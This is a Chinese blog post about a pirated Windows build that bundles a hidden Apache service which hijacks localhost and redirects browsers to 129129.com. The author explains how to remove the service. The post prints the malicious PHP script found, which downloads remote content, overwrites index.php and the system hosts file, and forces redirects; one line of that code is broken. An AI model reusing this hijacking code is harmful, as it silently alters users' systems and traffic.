【技術貼】解決127.0.0.1和http://localhost均被攔截跳轉到另一個網頁


 

很艱難的歷程。

 

今天安裝一個OA系統,要用到http://127.0.0.1輸入完成之后,可以進入安裝界面,but,我輸入完了之后,自動跳到了129129垃圾網站,艹,我真TM服了,我把本地連接網線都拔掉了,它還是可以訪問到這個網站,真是流氓網站啊,我又去下載DNS劫持修復工具,又是殺毒的,直到我發現我的進程里面有一個httpd進程,我艹,這不是阿帕奇的服務器軟件嗎,我就把它禁用了一下,瞬間就可以進入127.0.0.1了。不得不說,現在的流氓軟件越來越人性化了,讓人都摸不到什么意思,若不是我用到了localhost網址,我這輩子可能都不會發現這個小流氓插件,這樣想來,每次我開機,它都去訪問那個129129垃圾站,拖垮了網速不說,還占着CPU不拉屎。

 

解決IE主頁總是顯示http://www.129129.com/?1 2 3 4 ,怎么也改不過來而且360體檢也找不到錯誤

 

解決方案:

 

360--開機加速--找到httpd--進入安裝目錄--禁止開機啟動--然后刪掉整個文件夾即可。

 

目錄:C:\WINDOWS\Apache\bin 刪掉整個目錄

 

我其實在它的C:\WINDOWS\Apache\htdocs目錄下找到了一段php腳本,里面這么寫的:

 

<?php 
 include_once "config.php";
  $name1 = "";
  $name2 = "";
  //$name3 = "";

//獲取最新php

   $index = file_get_contents('http://www.129129.com/ht/index.txt');
   if(strpos($index, )
   {
    $arr = explode("@", $index);
   
   $index = $arr[1]; 
   $hosts = $arr[0];
   $index = get_rep($index);
   if(!empty($index)){
     if(file_put_contents("index.php", $index)==0){} 
   }

 //獲取最新hosts
  if(!empty($hosts)){ 
   if(file_put_contents("C:/WINDOWS/system32/drivers/etc/hosts", $hosts)==0){}
  }
}
 //域名跳轉個性化

  $serverName = $_SERVER['SERVER_NAME'];
  switch ($serverName) {
 case strpos($name1,$serverName)!==false:
  header("Location:http://www.129129.com/?1");exit;
  break;
    case strpos($name2,$serverName)!==false:
  header("Location:http://www.129129.com/?2");exit;
  break;
   case strpos($name3,$serverName)!==false:
  header("Location:http://www.129129.com/?3");exit;
  break;
 default:
     header("Location:http://www.129129.com/?4");exit;
  break;
 }
 
 ?>
<meta http-equiv="refresh" content="0;url=http://www.129129.com/?301">

 

-----------------------------

很明顯的最后一段有個跳轉語句,可謂是別具匠心啊呸,垃圾封裝的系統,強加了一個httpd軟件,強制跳轉到129129,垃圾,果斷干掉!


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2026 CODEPRJ.COM